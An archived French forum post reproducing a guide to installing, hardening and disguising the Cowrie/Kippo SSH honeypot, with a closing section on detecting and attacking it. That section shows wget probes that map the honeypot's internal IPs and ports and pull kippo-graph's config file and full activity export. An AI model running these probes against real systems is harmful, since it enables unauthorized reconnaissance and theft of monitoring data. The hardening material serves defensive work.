Ldfa Posté(e) le 30 décembre 2019 Partager Posté(e) le 30 décembre 2019 Cowrie Pages ayant un lien vers la page courante : HoneyPotLinuxBashInstallation sous Alpine adduser -D cowrie apk add git build-base mysql mysql-dev apk add python py-twisted py-zope-interface py-pip openssl openssl-dev libffi python-dev libffi-dev pip install --upgrade pip pip install pyopenssl service_identity mysql-python Update cd cowriegit checkoutgit stashgit pull --rebasegit stash popSi conflit, éditer le fichier concerné (Il existe peut être mieux à faire) Sauvegarde de la conf Toujours faire une sauvegarde, on est jamais a l’abri d'une erreur de gitsu - cowrietar -c -v -z -f cowrie-backup-`date "+%Y-%m-%d-%s"`.tgz -T cowrie/* --exclude cowrie/log --exclude cowrie/dl -X cowrie/log/ttyNettoyage cowrie.cfg On modifie :hostname = fake_addr =internet_facing_ip = Et on décommente [database_mysql] en configurant ce qu'il y a en dessous pour utiliser kippo-graph. Lister les commandes saisies grep -r "CMD:" cowrie/log/Richard L'utilisateur existant dans le système s'appelle Richard. Il faut donc le remplacer par des utilisateurs standards dans le etc/passwd :cowrie/honeyfs/etc/passwdcowrie/honeyfs/etc/shadowcowrie/honeyfs/etc/group Note : ces deux fichiers ci-dessus sont des faux, ils ne sont pas utilisés pour gérer les accès au honeypot. Les utilisateurs se configurent dans le fichier ci-dessous Dans la base des users : cowrie/data/userdb.txt puis dans le filesystem : cowrie/utils/fsctl.py cowrie/data/fs.pickle rm -r /home/richard mkdir /home/admin mkdir /home/nagios ssh -V Une technique pour vérifier si l'on se trouve sur un kippo est aussi de vérifier la version du client ssh avec -V, qui retourneOpenSSH_6.7p1 Debian-5, OpenSSL 1.0.1k 8 Jan 2015par défaut.Cette chaine est hardcodée dans le fichier cowrie/cowrie/commands/ssh.py; il faut la modifier avec quelque chose de différent ou de plus exotique :OpenSSH_6.7p1 Ubuntu-5ubuntu1, OpenSSL 1.0.1f 6 Jan 2014Fichiers En se basant sur https://capsop.com/kippo : cd cowrie/honeyfs/ cat /proc/cpuinfo > proc/cpuinfo cat /proc/meminfo > proc/meminfo cat /proc/version > proc/version perl -v > bin/perl Ne pas oublier :etc/issueetc/motdetc/hostnameetc/hostscowrie/commands/ifconfig.py Ajout de commandes Après quelques jour de fonctionnement, et grâce à l'interface kippo-graph, on peut voir que certaines commandes bien utilisées ne sont pas implémentées : kippo-input > Top 10 failed inputOn modifie le filesystem pour ajouter les commandes et modifier le Command not found: renvoyé par défaut par kippo pour les commandes inconnues : cowrie/utils/fsctl.py cowrie/data/fs.pickle touch /usr/bin/sudo touch /bin/for touch /bin/do touch /bin/break touch /bin/unset touch /bin/export touch /sbin/arp Et on ajoute dans les txtcmds echo "syntax error near unexpected token '`'" > cowrie/txtcmds/bin/for echo "syntax error near unexpected token 'do'" > cowrie/txtcmds/bin/do echo "syntax error near unexpected token 'break'" > cowrie/txtcmds/bin/break echo "Neighbour table overflow" > cowrie/txtcmds/sbin/arp echo "" > cowrie/txtcmds/bin/unset echo "" > cowrie/txtcmds/bin/export echo "User not in the sudoers file. This incident will be reported." > cowrie/txtcmds/usr/bin/sudo Note : Bien que "for", "do" et consort ne soient pas vraiment des binaire, je les ai quand même crées dans /bin pour pouvoir facilement modifier le txtcmd. Other tweaks id commands/base.pyAjouter après groups=%d(%s) : ,0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)Kippo-graph Configuration de la base SQL : mysql -h localhost -u root -p mysql> create database kippo; mysql> GRANT ALL ON kippo.* TO 'kippo'@'localhost' IDENTIFIED BY 'Kippo-password'; exit Créer les tables avec la requete située dans le répertoire d'installation de cowrie : cd cowrie/doc/sql/ mysql> mysql -u kippo -p mysql> use kippo; mysql> source mysql.sql; mysql> show tables; exit Sous Alpine avec lighttpd, ajouter :Attention : Pas de geoip "plugnplay" avec lighttpd pour le moment.apk add php-pdo_mysql php-gd Defeating kippo Il est possible de retourner wget contre le honeypot pour en retrouver l'IP interne, et faire un scan de port :IP inexistante No route to host : root@localhost:/# wget 172.16.1.8:5001 --2015-09-01 10:22:10-- http://172.16.1.8:5001 Connecting to 172.16.1.8:5001... connected. HTTP request sent, awaiting response... ^C An error occurred while connecting: 113: No route to host. Timeout : root@localhost:/# wget 192.168.0.1:5001 --2015-09-01 10:22:46-- http://192.168.0.1:5001 Connecting to 192.168.0.1:5001... connected. HTTP request sent, awaiting response... User timeout caused connection failure. IP existe, port fermé Connection refused root@localhost:/# wget 172.16.1.9:5001 --2015-09-01 10:22:01-- http://172.16.1.9:5001 Connecting to 172.16.1.9:5001... connected. HTTP request sent, awaiting response... Connection was refused by other side: 111: Connection refused. IP interne du HP ! Connection was closed cleanly : root@srv-backup:~# wget 172.16.1.10:2222 --2015-09-01 10:24:20-- http://172.16.1.10:2222 Connecting to 172.16.1.10:2222... connected. HTTP request sent, awaiting response... Connection was closed cleanly. Exploitation Voir si un serveur HTTP tourne dessus (très probable, car souvent utilisé avec kippo-graph): wget 172.16.1.10; cat index.html Connecting to 172.16.1.10:80... connected. HTTP request sent, awaiting response... 200 OK Length: 177 (177bytes) [text/html] Saving to: `/root/index.html 100%[======================================>] 177 60K/s/s eta 0s 2015-09-01 10:31:54 (60 KB/s) - `/root/index.html' saved [177/177] <html><body><h1>It works!</h1> [..] Récupérer des fichiers. Je ne sais pas pourquoi je ne peux pas récuperer le config.php (je n'ai pas vraiment cherché encore). root@srv-backup:~# wget http://172.16.0.10/kippo-graph/config.php.dist --2015-09-01 11:27:37-- http://172.16.0.10/kippo-graph/config.php.dist Connecting to 172.16.0.10:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3777 (3K) [text/whatever] Saving to: `/root/config.php.dist 100%[======================================>] 3,777 1644K/s/s eta 0s 2015-09-01 11:27:37 (1644 KB/s) - `/root/config.php.dist' saved [3777/3777] root@srv-backup:~# cat /root/config.php.dist <?php # Author: ikoniaris # Website: bruteforce.gr/kippo-graph # DIR_ROOT: defines where your Kippo-Graph installation currently resides in. # Please don't change this unless there is a special reason to do so. [...] Lister les pages web : NOK :root@srv-backup:~# curl http://172.16.1.10/index.htm404 Not FoundOK :root@srv-backup:~# curl http://172.16.1.10/index.htmlYour file here'NoneType?' object has no attribute 'strip' Récupérer toute l'activité du honeypot: (la requête peut être très longue )wget "http://172.16.1.10/kippo-graph/include/export.php?type=allActivity"; cat /root/export.php Sourcehttps://www.alertlogic.com/blog/attacking-kippo/http://www.cert.pl/PDF/kippo_en.pdfhttps://github.com/andrew-morris/threat_researchhttp://www.rafayhackingarticles.net/2013/06/using-honeypots-to-your-advantage.htmlhttp://turbochaos.blogspot.fr/2013/05/attacking-kippo.htmlhttp://morris.guru/detecting-kippo-ssh-honeypots/https://cultofthedyingsun.wordpress.com/2014/09/12/death-by-magick-number-fingerprinting-kippo-2014/https://blacks3pt3mb3r.wordpress.com/honeypot-related-stuffz/making-a-good-first-impression/ Afficher l’article complet Lien vers le commentaire Partager sur d’autres sites More sharing options...
Messages recommandés
Archivé
Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.